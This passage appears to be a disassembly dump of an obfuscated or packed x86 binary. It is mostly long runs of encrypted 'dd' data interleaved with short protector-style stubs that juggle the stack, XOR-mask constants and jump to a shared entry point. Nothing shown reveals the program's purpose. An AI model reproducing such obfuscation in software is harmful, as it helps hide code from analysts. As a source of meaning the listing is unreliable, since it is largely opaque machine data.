0C094F1F2h, 1A4EA5B8h, 55031FF2h, 0ACF2D00Dh, 0CE29CB44h dd 3005A68h, 0A2C2B828h, 0B9181E44h, 9205F359h, 3412ECC0h dd 23335BBBh, 3FFDE6EBh, 782C2A52h, 5422830h, 8CAFDB08h dd 179h, 0E1B79168h, 0F56F3F77h, 0B38C44A2h, 50DCB0Bh dd 0C5337B4Bh, 628D2D13h, 2A68A710h, 0DAF75C9h, 0C50D3505h dd 74DA3805h, 4180C66Ch, 52C48AE8h, 0AF9D2112h, 78FB050Dh dd 50DAFC6h, 0F2C2BE86h, 0D83910CAh, 0AFA115E6h, 0D1E1050Dh dd 27E7AFA9h, 2175FB9Dh, 1D8CE4BFh, 0BB00E3A3h, 0FB0F3401h dd 68D24DCBh, 20030A63h, 241C82Ch, 89B5E20Fh, 3Bh, 267F954Fh dd 0C1DA936Ch, 0A3A0F34h, 0B69AF950h, 0E2440440h, 0AC1D169h dd 263B9903h, 0EB9B9DC3h, 0C170C631h, 30030Ah, 0A9B00440h dd 0B5E174EAh, 0B9B1h, 5DBA9700h, 0E5AD57F7h, 0FE782E04h dd 2B0B16B6h, 566F365h, 0D62FA88Ah, 0A8D09482h, 0B6BF660h dd 0AF58F45h, 50DCBB4h, 6FE9BF95h, 0AB7B4B27h, 51A58B4Dh dd 894334EAh, 0E1C15C0Ch, 33A053BBh, 22050DE9h, 0AC769EC4h dd 0D427FDA6h, 0F321A85h, 0F9934979h, 478B87Eh, 0E8BC9903h dd 7A4A266Eh, 0DE0847F4h, 6A3A7105h, 481C79D0h, 84D02D20h dd 1664578Dh, 2E4FC503h, 66Eh, 2A321679h, 638BDD37h, 0B0D88EEEh dd 0C810445Dh, 46C3815h, 96A79F5h, 0FBDE335Bh, 0B6904D95h dd 6D4598E0h, 0A440DF27h, 59E35Bh, 0B933A303h, 0CB1341A2h dd 0CA9CF851h, 792F071Ah, 44A29B11h, 59B9181Eh, 0CB31EBF3h dd 5B2BBF86h, 2928F8F8h, 16h, 1E44A253h, 0F359B918h, 0D6DEB805h dd 10782E04h, 4001h, 44A2BB00h, 1AA7181Eh, 40050DCBh, 0D7D468D6h dd 3E6805BDh, 0A7239B64h, 5363050Dh, 0CA5D57B3h, 0CB4D1B77h dd 1076CB9Bh, 67D1879Fh, 59FE72Fh, 16029337h, 0E84BF696h dd 50DF656h, 26E62E16h, 1E44A2BCh, 1C8EE544h, 0C4B002CDh dd 0E5539BEAh, 0AD07E1A1h, 0DB24FEA7h, 0F3ECA34h, 30987E88h dd 247C1B0Dh, 0EBCB26FCh, 0A2805DA5h, 0BAA87AFCh, 0EBCE23F9h dd 0C626B3A5h, 0E2B86890h, 0C217E248h, 3C4A178Ah, 75038F6Ch dd 53630933h, 1C42A0B9h, 0E7C35EF4h, 10F47B1h, 0B2914EECh dd 40DD8DBCh, 183A3C62h, 9BD61212h, 46065A59h, 7DD86CCh dd 3D2C926Dh, 330D050Dh, 0E9B98965h, 1F07E053h, 8FB70F34h dd 18655C96h, 3D50D603h, 536h, 0E20A5EB1h, 3B43156Fh, 4890C626h dd 80E8BC95h, 0DC24704Dh, 41A2413Dh, 3316CB13h, 0EEC8056Dh dd 0A5BD50B8h, 9C3897FFh, 5F1BA3h, 71CB5B03h, 7A2C04E5h dd 518C8FCh, 0C21F672Dh, 16E4BEE4h, 0D6A36BEAh, 5BDD8D66h dd 18B298FEh, 0AE41F546h, 3101050Dh, 560C9791h, 0E0B68C5Eh dd 0E5D5C42Ah, 17194FABh, 0D070A0F3h, 4A75D2B8h, 473CAFDBh dd 38000000h, 6C267F95h, 34BD7B93h, 31CFD0Fh, 1376E355h dd 539BCB4Dh, 8A75CFB3h, 30A8634h, 0D95DDE74h, 99030A86h dd 633961A9h, 0C120AC8Eh, 0D0656487h, 0BDBEC60Eh, 30A3EFBh dd 4A92F8DEh, 6BEDBB97h, 47D12h, 43E5AE00h, 0DCB4EF0h dd 43156F05h, 0D5DD91D5h, 84CA2835h, 792F0792h, 0D89DCB11h dd 98883102h, 0F8C80F34h, 0F056DC22h, 0F4C81DCBh, 202ED425h dd 191A6DD7h, 30A78A5h, 0F595DDE5h, 7842F873h, 763030Ah dd 187AE751h, 6561CC4Ah, 0C45E2A8Fh, 27476E76h, 0C36F3CBAh dd 2AE90EEh, 0B4875DE5h, 30A6902h, 0B6D27242h, 97CDB3Eh dd 3E03B5E2h, 0C1000000h, 4BB47F95h, 50DCBF3h, 815B83B3h dd 34C1F1B6h, 3721110Fh, 0AC106B4h, 9CCC2703h, 71273F9Ah dd 0BF354D87h, 5F87D12Fh, 0D13009ABh, 0DDD898Fh, 177CE3C9h dd 9EB5E175h, 0FDh, 1E44A25Ah, 85CB918h, 0BE0BEC52h, 0B0C175C6h dd 0B181050Dh, 230E1C4Fh, 0DF288E69h, 5868050Dh, 0D333AE88h dd 1E7AD78Dh, 39E9848h, 0E6157D23h, 50DD35Dh, 98E0B68Ch dd 41D12F02h, 2377F48Eh, 7EF8206Ch, 0AB8B9636h, 5BA173E5h dd 795EE7C4h, 0FF612513h, 8F5F6CE0h, 7C164F85h, 34FCB283h dd 0E8C5240Fh, 5A0ABABCh, 0AC769EA6h, 0CA27FDA6h, 401073ECh dd 0E0569ED6h, 0DD5EE4A4h, 93522B4h, 4BA67C44h, 0CE603A6Eh dd 434EDE60h, 2F12152h, 50314BCh, 0FC14B4FCh, 0A5EBCB26h dd 693F18E5h, 115D40F0h, 0ED808609h, 322h, 9EE6A285h, 0D73F6143h dd 648CDA3Ah, 0BCC488E9h, 0C81044A1h, 55B62D29h, 0F6AE70Fh dd 0C2DC3159h, 0B1914C94h, 680C83EBh, 5D378Fh, 15EF7703h dd 0CB1341A2h, 0C89EF851h, 0AFF1D34Eh, 0D98FEA67h, 0EA77175Fh dd 3E0CC68Ch, 0BA4185DCh, 0EDE5A50Eh, 267F9517h, 1C77CA6Ch dd 0CA9ACA4Ch, 34C12469h, 26FCC40Fh, 0C10BB38Ch, 0E94B030Ah dd 0AC1A80Eh, 90D8E803h, 45F576F0h, 64030AC1h, 0E5AB8E0Dh dd 0FADEBBBDh, 0FCC4A294h, 6D37B3F8h, 70E6B08Ch, 7C709434h dd 0E175AE95h, 0BB75B5h, 0E5F30000h, 4AA92A04h, 2C541006h dd 57AA7A2Ah, 0B22F297Fh, 9A150351h, 50DC729h, 0ACB49AF8h dd 0D0B51B1h, 5208ADBBh, 34EBD4E1h, 93EF420Fh, 731353C5h dd 4BEDA78Fh, 0AE956E8h, 7E2E1603h, 886CC16h, 0B3F3652Bh dd 0DA66D18Bh, 6E09353Ah, 50AD8C46h, 461FC04h, 0AA41F950h dd 7DF30911h, 22160h, 0E5A38A00h, 3E60409Dh, 8BDD3BD6h dd 0C389EE63h, 1F45A6BBh, 0B72C26F7h, 6BE60E5Ah, 0DD305808h dd 964B93C1h, 0D82EAB0h, 5C36886Bh, 0EE760300h, 1341A214h dd 0D187E079h, 8FC5E967h, 49652A68h, 0D4094101h, 0CA40A8FEh dd 0EA7FC730h, 313F050Dh, 1B1A1183h, 70105812h, 8C44A28Ah dd 0DCB0BB3h, 337B4B05h, 287E54C5h, 47B04AC0h, 50DCBFFh dd 0BC9A77BFh, 0CB2B36D6h, 0FB419385h, 30B3C3BEh, 0A56F3F56h dd 0BA5CF6AFh, 0D7F05B9h, 0AD7D4505h, 1E8F7D17h, 0F244B734h dd 0B2050DBAh, 2FBD9C82h, 2573CB34h, 333050Dh, 0DF280BDBh dd 6F0F3427h, 51BF8D47h, 0D32AC837h, 0F19F9949h, 0B6B03E9h dd 0F1173D45h, 0C00DEEA4h, 3009338Fh, 0AB8B1600h, 80E673E5h dd 0E6FD5CDAh, 0F06FD720h, 72F050Dh, 0F2D459DFh, 1274B5FAh dd 0C491F79Ah, 0A4E02D0Eh, 0E6100F34h, 8ECC2965h, 45ADD5B1h dd 431172CFh, 8E3003D5h, 0CE030A1Eh, 13EEBEE6h, 6EEB6D33h dd 0B2D0460Ch, 5EB446AEh, 0E7FF5208h, 0FFDA47B1h dd 0A9A161A9h, 7A104583h, 331C0CF9h, 0AF879A09h, 97377FF9h dd 0FC5DDBEBh, 470D65E6h, 12E253D1h, 0A0565A7h, 972F08C2h dd 0D7050D02h, 0CEDA7EFh, 0B1F56335h, 0A88A1711h, 819D7CFAh dd 57A365D3h, 9C36585Dh, 2C579FAh, 6885050Dh, 7111590Fh dd 0A2889F15h, 4DA7F9FEh, 0B08F24F6h, 8F044EB0h, 0BFE7AD8Ah dd 0E42F25EFh, 0DBEA31Bh, 0ABD3E305h, 0E5C25FF1h, 0E30CEFBFh dd 530F34BCh, 93F11B63h, 857608C2h, 30ABF31h, 0F6CC4171h dd 2EFEB6A0h, 315CAB94h, 0D0E00939h, 455DBC66h, 0BCBAE8CAh dd 3D00C008h, 0BD177F25h, 3AA6181Bh, 0DEE60507h, 58D3330Eh dd 68EE1678h, 757FE4F7h, 0F3F9DD31h, 0D553B1Bh, 0AAACF2D0h dd 7E10D62Fh, 0C90139FDh, 0CA497936h, 36C90174h, 52C40C34h dd 36C82C34h, 0EF628AD0h, 3657C197h, 16h, 2E04E542h, 8B991BEh dd 0C60E2665h, 6AFAA358h, 8D5DE402h, 4BA2896Bh, 58BE1B1Dh dd 0B99504F2h, 95EC6DEBh, 0EBC455C3h, 0FDDEBBBDh, 0D330A197h dd 2E0E8B8Dh, 163FE78h, 5332D95Fh, 0C381E389h, 4, 4B850h dd 0C3290000h, 241C8758h, 31D9685Ch, 4890000h, 2FEE6824h dd 2C890000h, 56BA5224h, 52060D86h, 0AD240481h, 582C2B1Bh dd 2B1BAD2Dh, 8E685A2Ch, 89000072h, 4832424h, 685D0424h dd 656Fh, 8F240489h, 2C8B0845h, 0E7895724h, 4C781h, 0C7830000h dd 243C8704h, 24048B5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54311E ; --------------------------------------------------------------------------- dd 972C7A4Bh, 0E02A5EB4h, 996EB8F2h, 0C503060Dh, 9847E0FFh dd 0B51B312Ch, 73D9688Eh, 1B3F5840h, 0EB7D770Fh, 57C736DEh dd 0C4EA03A3h, 0A21517D3h, 441C73E0h, 0F02727Fh, 996657A0h dd 963D4504h, 0DF0F2268h, 5035C66h, 0A686859h, 0E6971D46h dd 5EC01DB1h, 8D8D5FD8h, 60D9AF2h, 2F39B529h, 8D890607h dd 6071B41h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 8BC35040h, 816698C7h, 0C74C3EE7h, 7060585h, 671006h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 6E8FB2Eh, 55000000h, 0EE8DBEAh, 0EE9B5h dd 43D50000h, 0A5505247h, 7C4DA4D2h, 78B92931h, 0E19D8958h dd 0C7060716h, 7006985h, 6, 0F5BD8900h, 0FF060708h, 70C35B5h dd 6AD78006h, 1E195FFh, 958B0607h, 6072641h, 95FF006Ah dd 6073201h, 7DEBC08Bh, 0A888A2BCh, 66115E5Dh, 4D84A682h dd 0CBECDCh, 757DF527h, 0F925FBEAh, 8B7871A5h, 8A4BC507h dd 55D77416h, 8A9BA460h, 2133E8C6h, 6540411Fh, 1B341339h dd 75E06334h, 0DA76AFFFh, 0AC3406D4h, 0B160B98h, 5D777FE4h dd 3C2F7CC3h, 1A681030h, 65C956C0h, 0DD44DF78h, 0C8563153h dd 16564737h, 0FFBCCBA8h, 777A9CECh, 0C7C3EEh, 5B2631C3h dd 0D1F9E977h, 0D969C902h, 765B778Dh, 4D85C6FEh, 5606071Ch dd 0C530DF68h, 0EDB5FFA9h, 8D060712h, 0A7CFE85h, 8DD0FF06h dd 702018Dh, 406A5106h, 0AC9B5FFh, 0B5FF0607h, 6072209h dd 0B5FFD0FFh, 6070AC9h, 2209B5FFh, 14E80607h, 56000000h dd 0EC083FBEh, 0E48F91F7h, 68CADC83h, 5FBCAB14h, 5EBF1DEAh dd 4EE835Eh, 2242CC1h, 22424C1h, 0F7243403h, 0FF2B241Ch dd 583734FFh, 203AF081h, 0E881227Ch, 4EAE52F5h, 0EA12E881h dd 8F50692Eh, 0EF833E04h, 243C3B04h, 0FFDA850Fh, 9D8DFFFFh dd 60722D9h, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 0E8C98B18h dd 9, 6780629Ch, 4D74549Ah, 0FFC981CCh, 5E08B3BFh, 81AEE480h dd 7351C6h, 68C78A00h, 0 dd 0BA8CE981h, 665A0229h, 0FF389CBFh, 665B3234h, 0B288D981h dd 0B96DEB81h, 0DE821DFh, 3D000000h, 5B6D49B1h, 0BC91F2B4h dd 4607B67Dh, 6E9h, 723DBB00h, 59F219F1h, 1B7BC381h, 800F5B52h dd 0 dd 4A80F381h, 89FC5142h, 0EE9161Ch, 71000000h, 0AF69F7D4h dd 6BC61FB0h, 0ED825749h, 0AE9D7h, 0F1C50000h, 8C385D4Ah dd 0D8E3F668h, 0F04EA83h, 0FA81FBBFh, 0FFFF8DA0h, 34850Fh dd 5E80000h, 0A3000000h, 96F80455h, 10E9h, 9F2F3500h, 0E014BF9Ch dd 0BEB2733Ch, 0C4A77263h, 2EE95917h, 37000000h, 1AB8B9E9h dd 79257BF0h, 0CD6C1074h, 880F0F05h, 5, 699E37B9h, 0FF45E923h dd 0BF8AFFFFh, 2904E432h, 0E9730916h, 0A483ACEDh, 15FE9DCh dd 8B520000h, 0E860D4h, 5D000000h, 9D26ED81h, 428B060Dh dd 38453D08h, 850F7826h, 138h, 8B0C428Bh, 0C8D3184Ah, 0C269D1BBh dd 83C33378h, 858904E8h, 6071B41h, 8B04588Bh, 10428BF8h dd 0D3184A8Bh, 458ABEC8h, 0C633A195h, 0E083C72Bh, 4E883FCh dd 6058589h, 428B0607h, 69858914h, 8B060700h, 0E9531842h dd 0B0h, 123DB5FFh, 0B9E90607h, 0FF000000h, 72C11B5h, 0AEE906h dd 0B5FF0000h, 60722C9h, 0A3E9h, 85B5FF00h, 0E906070Ah dd 98h, 0C35B5FFh, 8DE90607h, 0FF000000h, 730A1B5h, 82E906h dd 0B5FF0000h, 6073041h, 77E9h, 21B5FF00h, 0E906072Bh dd 6Ch, 32C9B5FFh, 61E90607h, 0FF000000h, 72985B5h, 56E906h dd 0B5FF0000h, 6071E19h, 4BE9h, 0F1B5FF00h, 0E906071Ch dd 40h, 2311B5FFh, 35E90607h, 0FF000000h, 72215B5h, 2AE906h dd 0B5FF0000h, 6070BA5h, 1FE9h, 0DDB5FF00h, 0E9060712h dd 14h, 0BB8D88Bh, 66000000h, 8D8DE3F7h, 60D9D87h, 0E1FFC803h dd 1E195FFh, 8B5B0607h, 71B4185h, 4583906h, 0F850Fh, 6A530000h dd 195FF01h, 5B060732h, 0FFFFE2E9h, 0C35A61FFh, 6AB85A61h dd 0FF77D4C9h, 0B1858BE0h, 8D06071Eh, 0D9E758Dh, 1418906h dd 6E8C38Bh, 98000000h, 0F7B75156h, 0D88166F2h, 605F258Fh dd 12E9h, 86EE9000h, 0F4BDEB6Ch, 6320FBC7h, 0F5A719ACh dd 0F8587FDh, 0C80h, 7E900h, 0E3650000h, 7389C4D1h, 0C7816169h dd 7269h, 2870Fh, 0CF8B0000h, 0BA66F633h, 1C8B131Fh, 36B85337h dd 5A703B55h, 39CAF381h, 81661B01h, 81CAF4E1h, 511542C3h dd 0F381F84Dh, 4DE1843Bh, 66535EB6h, 8F0AE5B8h, 8A533704h dd 0F605AC2h, 0C8Ch, 7E900h, 0EDE70000h, 0B5D503EAh, 0A9D3813Bh dd 610FDB40h, 0E05CEE81h, 81F500B7h, 0B7E058C6h, 5E800h dd 8CE90000h, 664DE0CBh, 33C0D881h, 58FE8159h, 0FFFFF8Eh dd 0FFFF8D85h, 0B6B860FFh, 613B990Dh, 0A0558D8Dh, 6A060Dh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 8D89EBC3h, 6071B41h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0FC35040h, 1F0DBD09h, 85C70607h, 6070605h dd 5F88h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 5AC35242h, 3830Fh, 8B660000h, 0C75F56DEh, 7006985h dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0C4107CF6h, 8589031Eh, 60712F1h dd 0D9D8B57h, 5E060707h, 2985B5FFh, 6A0607h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 115ABAC3h dd 820F892Ah, 6, 1659D8Bh, 95FF0607h, 60701E1h, 34CA8166h dd 25858BCCh, 6A060733h, 195FF00h, 8B060732h, 450AEBC0h dd 0FDE56534h, 0CD196237h, 8EB50h, 45000000h, 0E93951BAh dd 4C3h, 0DA17368h, 0DCFCE906h, 0E668FFF9h, 0E9060DA1h dd 0FFF9DCF2h, 0DA35968h, 0DCE8E906h, 0DC33FFF9h, 8BE9648Ch dd 44A0BDC5h, 3E17CA12h, 0F2CF026Ah, 0C3BF5EA6h, 4991C720h dd 83EBBD94h, 0DE266C4Eh, 157D2303h, 991D1EBAh, 0D903006Bh dd 41A2F349h, 0CB00B681h, 7040050Dh, 7353CE48h, 4FC99FF8h dd 1DB7DF07h, 0CB46F87Bh, 0F806050Dh, 0F937CE42h, 0E366Fh dd 6B113D78h, 0FE54F4FCh, 2611CBE8h, 0F34AAE1h, 44C73101h dd 30AA9F6h, 0CF525ABEh, 0B5E1CD88h, 2E70Fh, 9969D500h dd 9C390F6h, 34EF712Eh, 0A4B1810Fh, 91B99CA5h, 0D9370A7Eh dd 1F75DF8Fh, 56B38C46h, 0E6F456B3h, 98CE58DEh, 0B33601DBh dd 0D7F251EAh, 4AC735EFh, 0F01B3FA9h, 58F28858h, 33C069D2h dd 0DE9680D0h, 9C0BC350h, 4B1171CCh, 0B1906923h, 9D3B61EFh dd 0C3F0A0E2h, 72D83E03h, 0BD688A9Bh, 0D5A8AE0Dh, 2FFh dd 42AAFED1h, 9BE3B58Fh, 28306646h, 6088DC35h, 0BCC490EDh dd 0E1C2E19Dh, 53B6ABB3h, 0E68E50Dh, 0C5DD3058h, 3CD8779Fh dd 6A7BC3h, 0D1AB3B03h, 6C267F95h, 3E6BB593h, 6339090Fh dd 4C1270C9h, 0F0A4819Ch, 4C1875E8h, 0BB03FC96h, 8903006Bh dd 93EED047h, 0E4CCA0F9h, 0F249C224h, 6803005Ch, 21E1B791h dd 0B990C6DCh, 0F2DEEB2h, 8CF18C82h, 44000002h, 2DF2761h dd 0F5687026h, 0A8A5CD9Bh, 60FD054Bh, 0E8095107h, 4C18756Eh dd 86CA2924h, 0D187E37Eh, 287E5489h, 4AB54FC0h, 3006AF4h dd 95562CB4h, 0CA6C267Fh, 199D9E30h, 59050DCBh, 0CB54EA69h dd 2C14050Dh, 6BD9FF7Ch, 5D650F3Eh, 6BDA60DBh, 0BE920300h dd 774D336h, 0AD3BB5E8h, 39000001h, 441E44A2h, 45D88CE5h dd 893D3B69h, 0E4C25FD9h, 0E916E4BEh, 8B0FA090h, 92DA8EE5h dd 12709AF2h, 51B68B41h, 0F901050Bh, 423E21A4h, 0C27FF882h dd 820F343Ch, 0DC5A0E67h, 0C731677Dh, 191F478Fh, 0A5E14A6h dd 8CD83503h, 61370F8Ah, 7E766CF7h, 63494D39h, 0E1FC97FCh dd 541EB5h, 74FA0000h, 0C7DD3154h, 0B89588FDh, 6A3A6AECh dd 267F95F0h, 79629E6Ch, 0FE853B1Bh, 63D2342Fh, 0E8B8E01Dh dd 0ACE152h, 644C0F34h, 0C179F2h, 9589030Ah, 8876081Fh dd 0A9684FFh, 60D64506h, 20030A00h, 75233D10h, 4903C383h dd 0B5E2360Ah, 0A691h, 44A25700h, 0BFB9EFCBh, 0C849CFF7h dd 22BFB9EFh, 76C49EC4h, 0EAC77E1Dh, 2447B0BEh, 73EE4818h dd 36254D13h, 50D4CE6h, 2D351B7Bh, 0FE94C107h, 32945E7Dh dd 3700A20Fh, 304F68Fh, 84D232CFh, 62AAD292h, 207451A8h dd 4FA842D8h, 304F6F7h, 42DF8FB7h, 5FDA3361h, 1D031719h dd 1194627h, 94FB0000h, 53B1ACB4h, 0C68E50Dh, 0C6DF325Ah dd 0BA974A92h, 0FB7786EEh, 0B1D98FE8h, 0CB13455Ch, 66E3416h dd 5DA5EBCBh, 61D526C2h, 21030068h, 41A23BB1h, 3016CB13h dd 0CEF6A2BFh, 0AC1EECA6h, 0CBAE51B9h, 0A26B11B1h, 0B9181E44h dd 41EBF359h, 0E6B85203h, 0FA792F0Bh, 50DCB44h, 0D66C3C04h dd 34BD8165h, 0CD2A070Fh, 35D59187h, 9A37949h, 888ED030h dd 0D4310CDCh, 8A27880h, 0A86972Fh, 0D83AD703h, 90D88C8Ah dd 86CF73F0h, 88EE030Ah, 4AA7BAC2h, 8045181Eh, 0FF000000h dd 6C267F95h, 3E6BB193h, 673D050Fh, 7AFCAA8Ah, 72BEC44Ah dd 6016E353h, 0FBDB46A0h, 0B2904D95h, 83F16AECh, 5EC0EC17h dd 0B4251379h, 0D90B0D5Bh, 0BF8E33B9h, 0D939D1DBh, 3407D973h dd 3C5C2982h, 3A52F2C2h, 9F99CF27h, 0F97F2502h, 0EE683E18h dd 0D7411773h, 664BA1B9h, 0D2AC0018h, 37197BF4h, 0AA8885C1h dd 0B954BCE4h, 53923559h, 0F0662808h, 5AD84AB4h, 0A8C5337Bh dd 3, 0A2FF79D0h, 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h, 0C455C395h dd 0DEBBBDEBh dd 30A197FDh, 0E8B8DD3h, 63FE782Eh, 32D95F01h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ecx mov ecx, 4269051Bh sub ecx, 786437F2h add ecx, 3C08D368h mov esi, ecx mov ecx, [esp] add esp, 4 push esp mov edi, [esp] add esp, 4 push esi xor dword ptr [esp], 13E33A9Fh pop dword ptr [edi+8] push ecx mov ecx, 8 add ecx, edi xor dword ptr [ecx], 13E33A9Fh pop ecx mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_54311E ; --------------------------------------------------------------------------- dd 0B885F0A4h, 60DA497h, 0E0FFC503h, 26B19245h, 379AC62Eh dd 1ED0D8DBh, 6138C62Ch, 575E3B06h, 2C10D75Ch, 1949804Dh dd 75124444h, 67754ECBh, 3C618238h, 7EB29B7Ah, 24CD7C1Bh dd 2F2968C2h, 8E8h, 303DC100h, 0C124574Bh, 0C18B5BA8h dd 6747C381h, 28B90000h, 81116638h, 661E79E9h, 0C0BF0F11h dd 9E93B8Bh, 0F9000000h, 0F32C056h, 0CA95894Eh, 0BD62EF81h dd 81665E82h, 8136B8E6h, 0F4956EFh, 0CE93Eh, 0F1830000h dd 0A7C3038h, 0C61DFB42h, 0EF8140F9h, 36C5C0BBh, 0E2816657h dd 38F149Ah, 8320DE80h, 0FE804EBh, 0DC000000h, 5F9AC863h dd 0DBB0ABF8h, 877E075Eh, 0C2811F0Ch, 4F110C02h, 850F495Ah dd 0FFFFFF98h, 2850Fh, 0E28A0000h, 0BE8h, 15AFB400h, 464BB1CFh dd 3B25EDD8h, 10CABB66h, 0D244BB5Ah, 0C2811109h, 6FD6h dd 11E9h, 6B9F1400h, 0A834A2F0h, 44C58649h, 956F7C83h dd 0C03351D0h, 0A408D781h, 0C8B275Dh, 0D3816602h, 0C181B49Eh dd 4C8FC00Fh, 0F88B6657h, 0EF1815Fh, 0E842B608h, 0Bh, 85E9BBADh dd 0EBF7F614h, 80D7381Eh, 815F2BC3h, 0AD9132C1h, 1820F0Bh dd 0F5000000h, 8E95051h, 19000000h, 3F1BDD7Ch, 5E5A228Fh dd 6602048Fh, 815AB8BBh, 5C73D3EBh, 4E88379h, 0D50A16BBh dd 4F8817Eh, 0FFFFF91h, 1785h, 0F88B6600h, 32E9h, 21E4A500h dd 0C635906Ah, 0BE92941h, 0C1661E31h, 6850Fh, 0EF810000h dd 33ABFAFBh, 0FFFF6DE9h, 0CF1DFAFFh, 6FDBBF29h, 2D585FBAh dd 787A6F1Bh, 0E8AA6E4Ah, 0Bh, 0EF065117h, 9CC805ACh, 607FB976h dd 0DE9h, 66BF1E00h, 0BED0E10h, 8F5ED315h, 0BA66544Bh dd 5F61B4C8h, 0F7816660h, 8B66DAC7h, 0C78161CAh, 5911h dd 8E7B866h, 0F57D233h, 8B5BDFB7h, 12E91734h, 0CD000000h dd 0AF92EF8Ch, 0D7A9D423h, 54B357B0h, 81AD442Fh, 7DEE81EFh dd 0B90734DBh, 46F0F613h, 27B7EE81h, 0D88063FFh, 0B3F68159h dd 6018504Dh, 6830Fh, 870F0000h, 0 dd 0C2B70F60h, 8E9h, 8F501C00h, 3243EAADh, 56616120h, 48FC78Bh dd 0FC78A17h, 487h, 61605100h, 1BEA8158h, 662622DCh, 7ABFCB81h dd 0DC17C281h, 0FA812622h, 0FFFFA7B8h, 0FF7D850Fh, 6E9FFFFh dd 0BB000000h, 9544D79Dh, 83C08B27h, 73101BDh, 9750006h dd 0A55BD83h, 74000607h, 8B535019h, 421B8C0h, 85890000h dd 6072BADh, 0B3F29D8Dh, 0D3FF0609h, 0BD83585Bh, 6070A55h dd 50177400h, 421B853h, 85890000h, 6072BADh, 0B0E19D8Dh dd 0D3FF0609h, 0C08B585Bh, 0FCD9D8Bh, 85C60607h, 6071C4Dh dd 0B8526856h, 0B5FF9CA8h, 60712EDh, 7CFE858Dh, 0D0FF060Ah dd 68046Ah, 0FF000010h, 72AD5B5h, 0FF006A06h, 0FC085D0h dd 0D85h, 0B800h, 8D8D0000h, 607715Dh, 0C88BE1FFh, 4003C38Bh dd 0F8053Ch, 508B0000h, 83D3030Ch, 722D9BDh, 840F0006h dd 0Eh, 22D99D8Bh, 858B0607h, 6070909h, 52510389h, 421F858Dh dd 0D0FF0607h, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 6071C4Dh dd 6D396856h, 0B5FFD41Fh, 60712EDh, 7CFE858Dh, 0D0FF060Ah dd 800068h, 52006A00h, 0C08BD0FFh, 3101BD83h, 75000607h dd 55BD8309h, 6070Ah, 53501974h, 21B8C08Bh, 89000004h dd 7217D85h, 599D8D06h, 0FF0609B4h, 83585BD3h, 70A55BDh dd 17740006h, 21B85350h, 89000004h, 7217D85h, 0FA9D8D06h dd 0FF0609B0h, 8B585BD3h, 0D99D8DC0h, 8B060722h, 0FC00B03h dd 784h, 8B038B00h, 1889045Bh, 4B41B8h, 0AE800h, 32890000h dd 0F3E2585Eh, 0B7D4B16Eh, 5810Fh, 0BABE0000h, 5B4FB1C1h dd 8870Fh, 850F0000h, 2, 0C3815A56h, 5CA0h, 16DF68h, 14E900h dd 0D9260000h, 477538DCh, 5A6FFBE4h, 0C33E53B4h, 812417h dd 0F5FB93Dh, 33FFD3B7h, 0E859C38Bh, 11h, 0F53B384h, 0C3FC76B9h dd 208762CDh, 0E68748BFh, 0DB8AB81Eh, 815E51FFh, 0ABAD2F1h dd 0FD0803Ah, 6B04C181h, 14E8077Eh, 8A000000h, 675849C2h dd 0C7FEE962h, 80A1F895h, 0A5BA5D6Ch, 6626CFF4h, 5A4C43B8h dd 0CA0FE981h, 8B663396h, 38F51F3h, 0EE9h, 616C0400h, 2DF1FE8Bh dd 8BAC15BAh, 83453A5Bh, 0E95003EBh, 9, 0F341793h, 9F70A090h dd 814B58D7h, 0B3682BEAh, 1EF812Eh, 0F000000h, 2585h, 13E900h dd 8A810000h, 0D4831CE4h, 0D81DBC9h, 0E60903FEh, 67D2A678h dd 2CE9DCh, 59B50000h, 8DB81257h, 0CE92C60h, 7F000000h dd 75043090h, 1FE1D66Bh, 0E9595F01h, 0FFFFFF32h, 251C06ECh dd 0BC073C74h, 2415629Bh, 8D8D000Fh, 60DAB20h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9DC35141h, 43E2C83Bh dd 29B799EAh, 725ED85h, 418D8906h, 6A06071Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 1ADDC351h, 0AED07A3h, 830FFDA9h, 6, 709958Bh, 85C70607h dd 6070605h, 64FCh, 0D9BD3160h, 9060721h, 72D85B5h, 85C76106h dd 6070069h, 0 dd 2D098589h, 0B5FF0607h, 607123Dh, 3091C381h, 95FF65DDh dd 60701E1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 75C35343h, 3E0AB094h, 602B8434h, 29D88B66h, 71B8595h dd 6A6106h, 320195FFh, 0C08B0607h, 0D6470CEBh, 332D20E5h dd 0BB35AF54h, 10E89911h, 0D3000000h, 0A9208144h, 0D4E958EBh dd 9B8DB5AFh, 0F92DDFDh, 286h, 5BF48A00h, 0FC9BD8Bh, 0C3810607h dd 6214h, 0BECE8B66h, 1864h, 0D56B8DBFh, 31038B5Fh, 71A0D85h dd 0EDF08106h, 8A69A286h, 73C081CCh, 0E9674493h, 0Ch, 504CF93Ah dd 0A67CECDFh, 0BD3E25AEh, 3F8DE881h, 9D011264h, 607177Dh dd 0D1958B50h, 8F060705h, 8DB58903h, 83060716h, 595604EBh dd 1EE81h, 850F0000h, 0FFFFFFADh, 0EB7AD280h, 16h, 4 dup(0) dd 0BC010100h, 0D000003h, 